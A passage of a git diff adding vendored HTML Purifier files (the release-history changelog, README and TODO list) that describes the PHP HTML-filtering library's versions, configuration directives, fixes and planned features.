+ explicit require list or autoloading. To use HTML Purifier,
+ you must now either use HTMLPurifier.auto.php
+ or HTMLPurifier.includes.php; setting the include path and including
+ HTMLPurifier.php is insufficient--in such cases include HTMLPurifier.autoload.php
+ as well to register our autoload handler (or modify your autoload function
+ to check HTMLPurifier_Bootstrap::getPath($class)). You can also use
+ HTMLPurifier.safe-includes.php for a less performance friendly but more
+ user-friendly library load.
+# HTMLPurifier_ConfigSchema static functions are officially deprecated. Schema
+ information is stored in the ConfigSchema directory, and the
+ maintenance/generate-schema-cache.php generates the schema.ser file, which
+ is now instantiated. Support for userland schema changes coming soon!
+# HTMLPurifier_Config will now throw E_USER_NOTICE when you use a directive
+ alias; to get rid of these errors just modify your configuration to use
+ the new directive name.
+# HTMLPurifier->addFilter is deprecated; built-in filters can now be
+ enabled using %Filter.$filter_name or by setting your own filters using
+ %Filter.Custom
+# Directive-level safety properties superceded in favor of module-level
+ safety. Internal method HTMLModule->addElement() has changed, although
+ the externally visible HTMLDefinition->addElement has *not* changed.
+! Extra utility classes for testing and non-library operations can
+ be found in extras/. Specifically, these are FSTools and ConfigDoc.
+ You may find a use for these in your own project, but right now they
+ are highly experimental and volatile.
+! Integration with PHPT allows for automated smoketests
+! Limited support for proprietary HTML elements, namely <marquee>, sponsored
+ by Chris. You can enable them with %HTML.Proprietary if your client
+ demands them.
+! Support for !important CSS cascade modifier. By default, this will be stripped
+ from CSS, but you can enable it using %CSS.AllowImportant
+! Support for display and visibility CSS properties added, set %CSS.AllowTricky
+ to true to use them.
+! HTML Purifier now has its own Exception hierarchy under HTMLPurifier_Exception.
+ Developer error (not enduser error) can cause these to be triggered.
+! Experimental kses() wrapper introduced with HTMLPurifier.kses.php
+! Finally %CSS.AllowedProperties for tweaking allowed CSS properties without
+ mucking around with HTMLPurifier_CSSDefinition
+! ConfigDoc output has been enhanced with version and deprecation info.
+! %HTML.ForbiddenAttributes and %HTML.ForbiddenElements implemented.
+- Autoclose now operates iteratively, i.e. <span><span><div> now has
+ both span tags closed.
+- Various HTMLPurifier_Config convenience functions now accept another parameter
+ $schema which defines what HTMLPurifier_ConfigSchema to use besides the
+ global default.
+- Fix bug with trusted script handling in libxml versions later than 2.6.28.
+- Fix bug in ExtractStyleBlocks with comments in style tags
+- Fix bug in comment parsing for DirectLex
+- Flush output now displayed when in command line mode for unit tester
+- Fix bug with rgb(0, 1, 2) color syntax with spaces inside shorthand syntax
+- HTMLPurifier_HTMLDefinition->addAttribute can now be called multiple times
+ on the same element without emitting errors.
+- Fixed fatal error in PH5P lexer with invalid tag names
+. Plugins now get their own changelogs according to project conventions.
+. Convert tokens to use instanceof, reducing memory footprint and
+ improving comparison speed.
+. Dry runs now supported in SimpleTest; testing facilities improved
+. Bootstrap class added for handling autoloading functionality
+. Implemented recursive glob at FSTools->globr
+. ConfigSchema now has instance methods for all corresponding define*
+ static methods.
+. A couple of new historical maintenance scripts were added.
+. HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php split into two files
+. tests/index.php can now be run from any directory.
+. HTMLPurifier_Token subclasses split into seperate files
+. HTMLPURIFIER_PREFIX now is defined in Bootstrap.php, NOT HTMLPurifier.php
+. HTMLPURIFIER_PREFIX can now be defined outside of HTML Purifier
+. New --php=php flag added, allows PHP executable to be specified (command
+ line only!)
+. htmlpurifier_add_test() preferred method to translate test files in to
+ classes, because it handles PHPT files too.
+. Debugger class is deprecated and will be removed soon.
+. Command line argument parsing for testing scripts revamped, now --opt value
+ format is supported.
+. Smoketests now cleanup after magic quotes
+. Generator now can output comments (however, comments are still stripped
+ from HTML Purifier output)
+. HTMLPurifier_ConfigSchema->validate() deprecated in favor of
+ HTMLPurifier_VarParser->parse()
+. Integers auto-cast into float type by VarParser.
+. HTMLPURIFIER_STRICT removed; no validation is performed on runtime, only
+ during cache generation
+. Reordered script calls in maintenance/flush.php
+. Command line scripts now honor exit codes
+. When --flush fails in unit testers, abort tests and print message
+. Improved documentation in docs/dev-flush.html about the maintenance scripts
+. copy() methods removed in favor of clone keyword
+
+3.0.0, released 2008-01-06
+# HTML Purifier is PHP 5 only! The 2.1.x branch will be maintained
+ until PHP 4 is completely deprecated, but no new features will be added
+ to it.
+ + Visibility declarations added
+ + Constructor methods renamed to __construct()
+ + PHP4 reference cruft removed (in progress)
+! CSS properties are now case-insensitive
+! DefinitionCacheFactory now can register new implementations
+! New HTMLPurifier_Filter_ExtractStyleBlocks for extracting <style> from
+ documents and cleaning their contents up. Requires the CSSTidy library
+ <http://csstidy.sourceforge.net/>. You can access the blocks with the
+ 'StyleBlocks' Context variable ($purifier->context->get('StyleBlocks')).
+ The output CSS can also be "scoped" for a specific element, use:
+ %Filter.ExtractStyleBlocksScope
+! Experimental support for some proprietary CSS attributes allowed:
+ opacity (and all of the browser-specific equivalents) and scrollbar colors.
+ Enable by setting %CSS.Proprietary to true.
+- Colors missing # but in hex form will be corrected
+- CSS Number algorithm improved
+- Unit testing and multi-testing now on steroids: command lines,
+ XML output, and other goodies now added.
+. Unit tests for Injector improved
+. New classes:
+ + HTMLPurifier_AttrDef_CSS_AlphaValue
+ + HTMLPurifier_AttrDef_CSS_Filter
+. Multitest now has a file docblock
+
+2.1.3, released 2007-11-05
+! tests/multitest.php allows you to test multiple versions by running
+ tests/index.php through multiple interpreters using `phpv` shell
+ script (you must provide this script!)
+- Fixed poor include ordering for Email URI AttrDefs, causes fatal errors
+ on some systems.
+- Injector algorithm further refined: off-by-one error regarding skip
+ counts for dormant injectors fixed
+- Corrective blockquote definition now enabled for HTML 4.01 Strict
+- Fatal error when <img> tag (or any other element with required attributes)
+ has 'id' attribute fixed, thanks NykO18 for reporting
+- Fix warning emitted when a non-supported URI scheme is passed to the
+ MakeAbsolute URIFilter, thanks NykO18 (again)
+- Further refine AutoParagraph injector. Behavior inside of elements
+ allowing paragraph tags clarified: only inline content delimeted by
+ double newlines (not block elements) are paragraphed.
+- Buggy treatment of end tags of elements that have required attributes
+ fixed (does not manifest on default tag-set)
+- Spurious internal content reorganization error suppressed
+- HTMLDefinition->addElement now returns a reference to the created
+ element object, as implied by the documentation
+- Phorum mod's HTML Purifier help message expanded (unreleased elsewhere)
+- Fix a theoretical class of infinite loops from DirectLex reported
+ by Nate Abele
+- Work around unnecessary DOMElement type-cast in PH5P that caused errors
+ in PHP 5.1
+- Work around PHP 4 SimpleTest lack-of-error complaining for one-time-only
+ HTMLDefinition errors, this may indicate problems with error-collecting
+ facilities in PHP 5
+- Make ErrorCollectorEMock work in both PHP 4 and PHP 5
+- Make PH5P work with PHP 5.0 by removing unnecessary array parameter typedef
+. %Core.AcceptFullDocuments renamed to %Core.ConvertDocumentToFragment
+ to better communicate its purpose
+. Error unit tests can now specify the expectation of no errors. Future
+ iterations of the harness will be extremely strict about what errors
+ are allowed
+. Extend Injector hooks to allow for more powerful injector routines
+. HTMLDefinition->addBlankElement created, as according to the HTMLModule
+ method
+. Doxygen configuration file updated, with minor improvements
+. Test runner now checks for similarly named files in conf/ directory too.
+. Minor cosmetic change to flush-definition-cache.php: trailing newline is
+ outputted
+. Maintenance script for generating PH5P patch added, original PH5P source
+ file also added under version control
+. Full unit test runner script title made more descriptive with PHP version
+. Updated INSTALL file to state that 4.3.7 is the earliest version we
+ are actively testing
+
+2.1.2, released 2007-09-03
+! Implemented Object module for trusted users
+! Implemented experimental HTML5 parsing mode using PH5P. To use, add
+ this to your code:
+ require_once 'HTMLPurifier/Lexer/PH5P.php';
+ $config->set('Core', 'LexerImpl', 'PH5P');
+ Note that this Lexer introduces some classes not in the HTMLPurifier
+ namespace. Also, this is PHP5 only.
+! CSS property border-spacing implemented
+- Fix non-visible parsing error in DirectLex with empty tags that have
+ slashes inside attribute values.
+- Fix typo in CSS definition: border-collapse:seperate; was incorrectly
+ accepted as valid CSS. Usually non-visible, because this styling is the
+ default for tables in most browsers. Thanks Brett Zamir for pointing
+ this out.
+- Fix validation errors in configuration form
+- Hammer out a bunch of edge-case bugs in the standalone distribution
+- Inclusion reflection removed from URISchemeRegistry; you must manually
+ include any new schema files you wish to use
+- Numerous typo fixes in documentation thanks to Brett Zamir
+. Unit test refactoring for one logical test per test function
+. Config and context parameters in ComplexHarness deprecated: instead, edit
+ the $config and $context member variables
+. HTML wrapper in DOMLex now takes DTD identifiers into account; doesn't
+ really make a difference, but is good for completeness sake
+. merge-library.php script refactored for greater code reusability and
+ PHP4 compatibility
+
+2.1.1, released 2007-08-04
+- Fix show-stopper bug in %URI.MakeAbsolute functionality
+- Fix PHP4 syntax error in standalone version
+. Add prefix directory to include path for standalone, this prevents
+ other installations from clobbering the standalone's URI schemes
+. Single test methods can be invoked by prefixing with __only
+
+2.1.0, released 2007-08-02
+# flush-htmldefinition-cache.php superseded in favor of a generic
+ flush-definition-cache.php script, you can clear a specific cache
+ by passing its name as a parameter to the script
+! Phorum mod implemented for HTML Purifier
+! With %Core.AggressivelyFixLt, <3 and similar emoticons no longer
+ trigger HTML removal in PHP5 (DOMLex). This directive is not necessary
+ for PHP4 (DirectLex).
+! Standalone file now available, which greatly reduces the amount of
+ includes (although there are still a few files that reside in the
+ standalone folder)
+! Relative URIs can now be transformed into their absolute equivalents
+ using %URI.Base and %URI.MakeAbsolute
+! Ruby implemented for XHTML 1.1
+! You can now define custom URI filtering behavior, see enduser-uri-filter.html
+ for more details
+! UTF-8 font names now supported in CSS
+- AutoFormatters emit friendly error messages if tags or attributes they
+ need are not allowed
+- ConfigForm's compactification of directive names is now configurable
+- AutoParagraph autoformatter algorithm refined after field-testing
+- XHTML 1.1 now applies XHTML 1.0 Strict cleanup routines, namely
+ blockquote wrapping
+- Contents of <style> tags removed by default when tags are removed
+. HTMLPurifier_Config->getSerial() implemented, this is extremely useful
+ for output cache invalidation
+. ConfigForm printer now can retrieve CSS and JS files as strings, in
+ case HTML Purifier's directory is not publically accessible
+. Introduce new text/itext configuration directive values: these represent
+ longer strings that would be more appropriately edited with a textarea
+. Allow newlines to act as separators for lists, hashes, lookups and
+ %HTML.Allowed
+. ConfigForm generates textareas instead of text inputs for lists, hashes,
+ lookups, text and itext fields
+. Hidden element content removal genericized: %Core.HiddenElements can
+ be used to customize this behavior, by default <script> and <style> are
+ hidden
+. Added HTMLPURIFIER_PREFIX constant, should be used instead of dirname(__FILE__)
+. Custom ChildDef added to default include list
+. URIScheme reflection improved: will not attempt to include file if class
+ already exists. May clobber autoload, so I need to keep an eye on it
+. ConfigSchema heavily optimized, will only collect information and validate
+ definitions when HTMLPURIFIER_SCHEMA_STRICT is true.
+. AttrDef_URI unit tests and implementation refactored
+. benchmarks/ directory now protected from public view with .htaccess file;
+ run the tests via command line
+. URI scheme is munged off if there is no authority and the scheme is the
+ default one
+. All unit tests inherit from HTMLPurifier_Harness, not UnitTestCase
+. Interface for URIScheme changed
+. Generic URI object to hold components of URI added, most systems involved
+ in URI validation have been migrated to use it
+. Custom filtering for URIs factored out to URIDefinition interface for
+ maximum extensibility
+
+2.0.1, released 2007-06-27
+! Tag auto-closing now based on a ChildDef heuristic rather than a
+ manually set auto_close array; some behavior may change
+! Experimental AutoFormat functionality added: auto-paragraph and
+ linkify your HTML input by setting %AutoFormat.AutoParagraph and
+ %AutoFormat.Linkify to true
+! Newlines normalized internally, and then converted back to the
+ value of PHP_EOL. If this is not desired, set your newline format
+ using %Output.Newline.
+! Beta error collection, messages are implemented for the most generic
+ cases involving Lexing or Strategies
+- Clean up special case code for <script> tags
+- Reorder includes for DefinitionCache decorators, fixes a possible
+ missing class error
+- Fixed bug where manually modified definitions were not saved via cache
+ (mostly harmless, except for the fact that it would be a little slower)
+- Configuration objects with different serials do not clobber each
+ others when revision numbers are unequal
+- Improve Serializer DefinitionCache directory permissions checks
+- DefinitionCache no longer throws errors when it encounters old
+ serial files that do not conform to the current style
+- Stray xmlns attributes removed from configuration documentation
+- configForm.php smoketest no longer has XSS vulnerability due to
+ unescaped print_r output
+- Printer adheres to configuration's directives on output format
+- Fix improperly named form field in ConfigForm printer
+. Rewire some test-cases to swallow errors rather than expect them
+. HTMLDefinition printer updated with some of the new attributes
+. DefinitionCache keys reordered to reflect precedence: version number,
+ hash, then revision number
+. %Core.DefinitionCache renamed to %Cache.DefinitionImpl
+. Interlinking in configuration documentation added using
+ Injector_PurifierLinkify
+. Directives now keep track of aliases to themselves
+. Error collector now requires a severity to be passed, use PHP's internal
+ error constants for this
+. HTMLPurifier_Config::getAllowedDirectivesForForm implemented, allows
+ much easier selective embedding of configuration values
+. Doctype objects now accept public and system DTD identifiers
+. %HTML.Doctype is now constrained by specific values, to specify a custom
+ doctype use new %HTML.CustomDoctype
+. ConfigForm truncates long directives to keep the form small, and does
+ not re-output namespaces
+
+2.0.0, released 2007-06-20
+# Completely refactored HTMLModuleManager, decentralizing safety
+ information
+# Transform modules changed to Tidy modules, which offer more flexibility
+ and better modularization
+# Configuration object now finalizes itself when a read operation is
+ performed on it, ensuring that its internal state stays consistent.
+ To revert this behavior, you can set the $autoFinalize member variable
+ off, but it's not recommended.
+# New compact syntax for AttrDef objects that can be used to instantiate
+ new objects via make()
+# Definitions (esp. HTMLDefinition) are now cached for a significant
+ performance boost. You can disable caching by setting %Core.DefinitionCache
+ to null. You CANNOT edit raw definitions without setting the corresponding
+ DefinitionID directive (%HTML.DefinitionID for HTMLDefinition).
+# Contents between <script> tags are now completely removed if <script>
+ is not allowed
+# Prototype-declarations for Lexer removed in favor of configuration
+ determination of Lexer implementations.
+! HTML Purifier now works in PHP 4.3.2.
+! Configuration form-editing API makes tweaking HTMLPurifier_Config a
+ breeze!
+! Configuration directives that accept hashes now allow new string
+ format: key1:value1,key2:value2
+! ConfigDoc now factored into OOP design
+! All deprecated elements now natively supported
+! Implement TinyMCE styled whitelist specification format in
+ %HTML.Allowed
+! Config object gives more friendly error messages when things go wrong
+! Advanced API implemented: easy functions for creating elements (addElement)
+ and attributes (addAttribute) on HTMLDefinition
+! Add native support for required attributes
+- Deprecated and removed EnableRedundantUTF8Cleaning. It didn't even work!
+- DOMLex will not emit errors when a custom error handler that does not
+ honor error_reporting is used
+- StrictBlockquote child definition refrains from wrapping whitespace
+ in tags now.
+- Bug resulting from tag transforms to non-allowed elements fixed
+- ChildDef_Custom's regex generation has been improved, removing several
+ false positives
+. Unit test for ElementDef created, ElementDef behavior modified to
+ be more flexible
+. Added convenience functions for HTMLModule constructors
+. AttrTypes now has accessor functions that should be used instead
+ of directly manipulating info
+. TagTransform_Center deprecated in favor of generic TagTransform_Simple
+. Add extra protection in AttrDef_URI against phantom Schemes
+. Doctype object added to HTMLDefinition which describes certain aspects
+ of the operational document type
+. Lexer is now pre-emptively included, with a conditional include for the
+ PHP5 only version.
+. HTMLDefinition and CSSDefinition have a common parent class: Definition.
+. DirectLex can now track line-numbers
+. Preliminary error collector is in place, although no code actually reports
+ errors yet
+. Factor out most of ValidateAttributes to new AttrValidator class
+
+1.6.1, released 2007-05-05
+! Support for more deprecated attributes via transformations:
+ + hspace and vspace in img
+ + size and noshade in hr
+ + nowrap in td
+ + clear in br
+ + align in caption, table, img and hr
+ + type in ul, ol and li
+! DirectLex now preserves text in which a < bracket is followed by
+ a non-alphanumeric character. This means that certain emoticons
+ are now preserved.
+! %Core.RemoveInvalidImg is now operational, when set to false invalid
+ images will hang around with an empty src
+! target attribute in a tag supported, use %Attr.AllowedFrameTargets
+ to enable
+! CSS property white-space now allows nowrap (supported in all modern
+ browsers) but not others (which have spotty browser implementations)
+! XHTML 1.1 mode now sort-of works without any fatal errors, and
+ lang is now moved over to xml:lang.
+! Attribute transformation smoketest available at smoketests/attrTransform.php
+! Transformation of font's size attribute now handles super-large numbers
+- Possibly fatal bug with __autoload() fixed in module manager
+- Invert HTMLModuleManager->addModule() processing order to check
+ prefixes first and then the literal module
+- Empty strings get converted to empty arrays instead of arrays with
+ an empty string in them.
+- Merging in attribute lists now works.
+. Demo script removed: it has been added to the website's repository
+. Basic.php script modified to work out of the box
+. Refactor AttrTransform classes to reduce duplication
+. AttrTransform_TextAlign axed in favor of a more general
+ AttrTransform_EnumToCSS, refer to HTMLModule/TransformToStrict.php to
+ see how the new equivalent is implemented
+. Unit tests now use exclusively assertIdentical
+
+1.6.0, released 2007-04-01
+! Support for most common deprecated attributes via transformations:
+ + bgcolor in td, th, tr and table
+ + border in img
+ + name in a and img
+ + width in td, th and hr
+ + height in td, th
+! Support for CSS attribute 'height' added
+! Support for rel and rev attributes in a tags added, use %Attr.AllowedRel
+ and %Attr.AllowedRev to activate
+- You can define ID blacklists using regular expressions via
+ %Attr.IDBlacklistRegexp
+- Error messages are emitted when you attempt to "allow" elements or
+ attributes that HTML Purifier does not support
+- Fix segfault in unit test. The problem is not very reproduceable and
+ I don't know what causes it, but a six line patch fixed it.
+
+1.5.0, released 2007-03-23
+! Added a rudimentary I18N and L10N system modeled off MediaWiki. It
+ doesn't actually do anything yet, but keep your eyes peeled.
+! docs/enduser-utf8.html explains how to use UTF-8 and HTML Purifier
+! Newly structured HTMLDefinition modeled off of XHTML 1.1 modules.
+ I am loathe to release beta quality APIs, but this is exactly that;
+ don't use the internal interfaces if you're not willing to do migration
+ later on.
+- Allow 'x' subtag in language codes
+- Fixed buggy chameleon-support for ins and del
+. Added support for IDREF attributes (i.e. for)
+. Renamed HTMLPurifier_AttrDef_Class to HTMLPurifier_AttrDef_Nmtokens
+. Removed context variable ParentType, replaced with IsInline, which
+ is false when you're not inline and an integer of the parent that
+ caused you to become inline when you are (so possibly zero)
+. Removed ElementDef->type in favor of ElementDef->descendants_are_inline
+ and HTMLDefinition->content_sets
+. StrictBlockquote now reports what elements its supposed to allow,
+ rather than what it does allow
+. Removed HTMLDefinition->info_flow_elements in favor of
+ HTMLDefinition->content_sets['Flow']
+. Removed redundant "exclusionary" definitions from DTD roster
+. StrictBlockquote now requires a construction parameter as if it
+ were an Required ChildDef, this is the "real" set of allowed elements
+. AttrDef partitioned into HTML, CSS and URI segments
+. Modify Youtube filter regexp to be multiline
+. Require both PHP5 and DOM extension in order to use DOMLex, fixes
+ some edge cases where a DOMDocument class exists in a PHP4 environment
+ due to DOM XML extension.
+
+1.4.1, released 2007-01-21
+! docs/enduser-youtube.html updated according to new functionality
+- YouTube IDs can have underscores and dashes
+
+1.4.0, released 2007-01-21
+! Implemented list-style-image, URIs now allowed in list-style
+! Implemented background-image, background-repeat, background-attachment
+ and background-position CSS properties. Shorthand property background
+ supports all of these properties.
+! Configuration documentation looks nicer
+! Added %Core.EscapeNonASCIICharacters to workaround loss of Unicode
+ characters while %Core.Encoding is set to a non-UTF-8 encoding.
+! Support for configuration directive aliases added
+! Config object can now be instantiated from ini files
+! YouTube preservation code added to the core, with two lines of code
+ you can add it as a filter to your code. See smoketests/preserveYouTube.php
+ for sample code.
+! Moved SLOW to docs/enduser-slow.html and added code examples
+- Replaced version check with functionality check for DOM (thanks Stephen
+ Khoo)
+. Added smoketest 'all.php', which loads all other smoketests via frames
+. Implemented AttrDef_CSSURI for url(http://google.com) style declarations
+. Added convenient single test selector form on test runner
+
+1.3.2, released 2006-12-25
+! HTMLPurifier object now accepts configuration arrays, no need to manually
+ instantiate a configuration object
+! Context object now accessible to outside
+! Added enduser-youtube.html, explains how to embed YouTube videos. See
+ also corresponding smoketest preserveYouTube.php.
+! Added purifyArray(), which takes a list of HTML and purifies it all
+! Added static member variable $version to HTML Purifier with PHP-compatible
+ version number string.
+- Fixed fatal error thrown by upper-cased language attributes
+- printDefinition.php: added labels, added better clarification
+. HTMLPurifier_Config::create() added, takes mixed variable and converts into
+ a HTMLPurifier_Config object.
+
+1.3.1, released 2006-12-06
+! Added HTMLPurifier.func.php stub for a convenient function to call the library
+- Fixed bug in RemoveInvalidImg code that caused all images to be dropped
+ (thanks to .mario for reporting this)
+. Standardized all attribute handling variables to attr, made it plural
+
+1.3.0, released 2006-11-26
+# Invalid images are now removed, rather than replaced with a dud
+ <img src="" alt="Invalid image" />. Previous behavior can be restored
+ with new directive %Core.RemoveInvalidImg set to false.
+! (X)HTML Strict now supported
+ + Transparently handles inline elements in block context (blockquote)
+! Added GET method to demo for easier validation, added 50kb max input size
+! New directive %HTML.BlockWrapper, for block-ifying inline elements
+! New directive %HTML.Parent, allows you to only allow inline content
+! New directives %HTML.AllowedElements and %HTML.AllowedAttributes to let
+ users narrow the set of allowed tags
+! <li value="4"> and <ul start="2"> now allowed in loose mode
+! New directives %URI.DisableExternalResources and %URI.DisableResources
+! New directive %Attr.DisableURI, which eliminates all hyperlinking
+! New directive %URI.Munge, munges URI so you can use some sort of redirector
+ service to avoid PageRank leaks or warn users that they are exiting your site.
+! Added spiffy new smoketest printDefinition.php, which lets you twiddle with
+ the configuration settings and see how the internal rules are affected.
+! New directive %URI.HostBlacklist for blocking links to bad hosts.
+ xssAttacks.php smoketest updated accordingly.
+- Added missing type to ChildDef_Chameleon
+- Remove Tidy option from demo if there is not Tidy available
+. ChildDef_Required guards against empty tags
+. Lookup table HTMLDefinition->info_flow_elements added
+. Added peace-of-mind variable initialization to Strategy_FixNesting
+. Added HTMLPurifier->info_parent_def, parent child processing made special
+. Added internal documents briefly summarizing future progression of HTML
+. HTMLPurifier_Config->getBatch($namespace) added
+. More lenient casting to bool from string in HTMLPurifier_ConfigSchema
+. Refactored ChildDef classes into their own files
+
+1.2.0, released 2006-11-19
+# ID attributes now disabled by default. New directives:
+ + %HTML.EnableAttrID - restores old behavior by allowing IDs
+ + %Attr.IDPrefix - %Attr.IDBlacklist alternative that munges all user IDs
+ so that they don't collide with your IDs
+ + %Attr.IDPrefixLocal - Same as above, but for when there are multiple
+ instances of user content on the page
+ + Profuse documentation on how to use these available in docs/enduser-id.txt
+! Added MODx plugin <http://modxcms.com/forums/index.php/topic,6604.0.html>
+! Added percent encoding normalization
+! XSS attacks smoketest given facelift
+! Configuration documentation now has table of contents
+! Added %URI.DisableExternal, which prevents links to external websites. You
+ can also use %URI.Host to permit absolute linking to subdomains
+! Non-accessible resources (ex. mailto) blocked from embedded URIs (img src)
+- Type variable in HTMLDefinition was not being set properly, fixed
+- Documentation updated
+ + TODO added request Phalanger
+ + TODO added request Native compression
+ + TODO added request Remove redundant tags
+ + TODO added possible plaintext formatter for HTML Purifier documentation
+ + Updated ConfigDoc TODO
+ + Improved inline comments in AttrDef/Class.php, AttrDef/CSS.php
+ and AttrDef/Host.php
+ + Revamped documentation into HTML, along with misc updates
+- HTMLPurifier_Context doesn't throw a variable reference error if you attempt
+ to retrieve a non-existent variable
+. Switched to purify()-wide Context object registry
+. Refactored unit tests to minimize duplication
+. XSS attack sheet updated
+. configdoc.xml now has xml:space attached to default value nodes
+. Allow configuration directives to permit null values
+. Cleaned up test-cases to remove unnecessary swallowErrors()
+
+1.1.2, released 2006-09-30
+! Add HTMLPurifier.auto.php stub file that configures include_path
+- Documentation updated
+ + INSTALL document rewritten
+ + TODO added semi-lossy conversion
+ + API Doxygen docs' file exclusions updated
+ + Added notes on HTML versus XML attribute whitespace handling
+ + Noted that HTMLPurifier_ChildDef_Custom isn't being used
+ + Noted that config object's definitions are cached versions
+- Fixed lack of attribute parsing in HTMLPurifier_Lexer_PEARSax3
+- ftp:// URIs now have their typecodes checked
+- Hooked up HTMLPurifier_ChildDef_Custom's unit tests (they weren't being run)
+. Line endings standardized throughout project (svn:eol-style standardized)
+. Refactored parseData() to general Lexer class
+. Tester named "HTML Purifier" not "HTMLPurifier"
+
+1.1.1, released 2006-09-24
+! Configuration option to optionally Tidy up output for indentation to make up
+ for dropped whitespace by DOMLex (pretty-printing for the entire application
+ should be done by a page-wide Tidy)
+- Various documentation updates
+- Fixed parse error in configuration documentation script
+- Fixed fatal error in benchmark scripts, slightly augmented
+- As far as possible, whitespace is preserved in-between table children
+- Sample test-settings.php file included
+
+1.1.0, released 2006-09-16
+! Directive documentation generation using XSLT
+! XHTML can now be turned off, output becomes <br>
+- Made URI validator more forgiving: will ignore leading and trailing
+ quotes, apostrophes and less than or greater than signs.
+- Enforce alphanumeric namespace and directive names for configuration.
+- Table child definition made more flexible, will fix up poorly ordered elements
+. Renamed ConfigDef to ConfigSchema
+
+1.0.1, released 2006-09-04
+- Fixed slight bug in DOMLex attribute parsing
+- Fixed rejection of case-insensitive configuration values when there is a
+ set of allowed values. This manifested in %Core.Encoding.
+- Fixed rejection of inline style declarations that had lots of extra
+ space in them. This manifested in TinyMCE.
+
+1.0.0, released 2006-09-01
+! Shorthand CSS properties implemented: font, border, background, list-style
+! Basic color keywords translated into hexadecimal values
+! Table CSS properties implemented
+! Support for charsets other than UTF-8 (defined by iconv)
+! Malformed UTF-8 and non-SGML character detection and cleaning implemented
+- Fixed broken numeric entity conversion
+- API documentation completed
+. (HTML|CSS)Definition de-singleton-ized
+
+1.0.0beta, released 2006-08-16
+! First public release, most functionality implemented. Notable omissions are:
+ + Shorthand CSS properties
+ + Table CSS properties
+ + Deprecated attribute transformations
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/README b/vendor/ezyang/htmlpurifier/README
new file mode 100644
index 000000000..53f26f1c2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/README
@@ -0,0 +1,24 @@
+
+README
+ All about HTML Purifier
+
+HTML Purifier is an HTML filtering solution that uses a unique combination
+of robust whitelists and agressive parsing to ensure that not only are
+XSS attacks thwarted, but the resulting HTML is standards compliant.
+
+HTML Purifier is oriented towards richly formatted documents from
+untrusted sources that require CSS and a full tag-set. This library can
+be configured to accept a more restrictive set of tags, but it won't be
+as efficient as more bare-bones parsers. It will, however, do the job
+right, which may be more important.
+
+Places to go:
+
+* See INSTALL for a quick installation guide
+* See docs/ for developer-oriented documentation, code examples and
+ an in-depth installation guide.
+* See WYSIWYG for information on editors like TinyMCE and FCKeditor
+
+HTML Purifier can be found on the web at: http://htmlpurifier.org/
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/TODO b/vendor/ezyang/htmlpurifier/TODO
new file mode 100644
index 000000000..7db34a9c4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/TODO
@@ -0,0 +1,150 @@
+
+TODO List
+
+= KEY ====================
+ # Flagship
+ - Regular
+ ? Maybe I'll Do It
+==========================
+
+If no interest is expressed for a feature that may require a considerable
+amount of effort to implement, it may get endlessly delayed. Do not be
+afraid to cast your vote for the next feature to be implemented!
+
+Things to do as soon as possible:
+
+ - http://htmlpurifier.org/phorum/read.php?3,5560,6307#msg-6307
+ - Think about allowing explicit order of operations hooks for transforms
+ - Fix "<.<" bug (trailing < is removed if not EOD)
+ - Build in better internal state dumps and debugging tools for remote
+ debugging
+ - Allowed/Allowed* have strange interactions when both set
+ ? Transform lone embeds into object tags
+ - Deprecated config options that emit warnings when you set them (with'
+ a way of muting the warning if you really want to)
+ - Make HTML.Trusted work with Output.FlashCompat
+ - HTML.Trusted and HTML.SafeObject have funny interaction; general
+ problem is what to do when a module "supersedes" another
+ (see also tables and basic tables.) This is a little dicier
+ because HTML.SafeObject has some extra functionality that
+ trusted might find useful. See http://htmlpurifier.org/phorum/read.php?3,5762,6100
+
+FUTURE VERSIONS
+---------------
+
+4.6 release [OMG CONFIG PONIES]
+ ! Fix Printer. It's from the old days when we didn't have decent XML classes
+ ! Factor demo.php into a set of Printer classes, and then create a stub
+ file for users here (inside the actual HTML Purifier library)
+ - Fix error handling with form construction
+ - Do encoding validation in Printers, or at least, where user data comes in
+ - Config: Add examples to everything (make built-in which also automatically
+ gives output)
+ - Add "register" field to config schemas to eliminate dependence on
+ naming conventions (try to remember why we ultimately decided on tihs)
+
+5.0 release [HTML 5]
+ # Swap out code to use html5lib tokenizer and tree-builder
+ ! Allow turning off of FixNesting and required attribute insertion
+
+5.1 release [It's All About Trust] (floating)
+ # Implement untrusted, dangerous elements/attributes
+ # Implement IDREF support (harder than it seems, since you cannot have
+ IDREFs to non-existent IDs)
+ - Implement <area> (client and server side image maps are blocking
+ on IDREF support)
+ # Frameset XHTML 1.0 and HTML 4.01 doctypes
+ - Figure out how to simultaneously set %CSS.Trusted and %HTML.Trusted (?)
+
+5.2 release [Error'ed]
+ # Error logging for filtering/cleanup procedures
+ # Additional support for poorly written HTML
+ - Microsoft Word HTML cleaning (i.e. MsoNormal, but research essential!)
+ - Friendly strict handling of <address> (block -> <br>)
+ - XSS-attempt detection--certain errors are flagged XSS-like
+ - Append something to duplicate IDs so they're still usable (impl. note: the
+ dupe detector would also need to detect the suffix as well)
+
+6.0 release [Beyond HTML]
+ # Legit token based CSS parsing (will require revamping almost every
+ AttrDef class). Probably will use CSSTidy
+ # More control over allowed CSS properties using a modularization
+ # IRI support (this includes IDN)
+ - Standardize token armor for all areas of processing
+
+7.0 release [To XML and Beyond]
+ - Extended HTML capabilities based on namespacing and tag transforms (COMPLEX)
+ - Hooks for adding custom processors to custom namespaced tags and
+ attributes, offer default implementation
+ - Lots of documentation and samples
+
+Ongoing
+ - More refactoring to take advantage of PHP5's facilities
+ - Refactor unit tests into lots of test methods
+ - Plugins for major CMSes (COMPLEX)
+ - phpBB
+ - Also, a FAQ for extension writers with HTML Purifier
+
+AutoFormat
+ - Smileys
+ - Syntax highlighting (with GeSHi) with <pre> and possibly <?php
+ - Look at http://drupal.org/project/Modules/category/63 for ideas
+
+Neat feature related
+ ! Support exporting configuration, so users can easily tweak settings
+ in the demo, and then copy-paste into their own setup
+ - Advanced URI filtering schemes (see docs/proposal-new-directives.txt)
+ - Allow scoped="scoped" attribute in <style> tags; may be troublesome
+ because regular CSS has no way of uniquely identifying nodes, so we'd
+ have to generate IDs
+ - Explain how to use HTML Purifier in non-PHP languages / create
+ a simple command line stub (or complicated?)
+ - Fixes for Firefox's inability to handle COL alignment props (Bug 915)
+ - Automatically add non-breaking spaces to empty table cells when
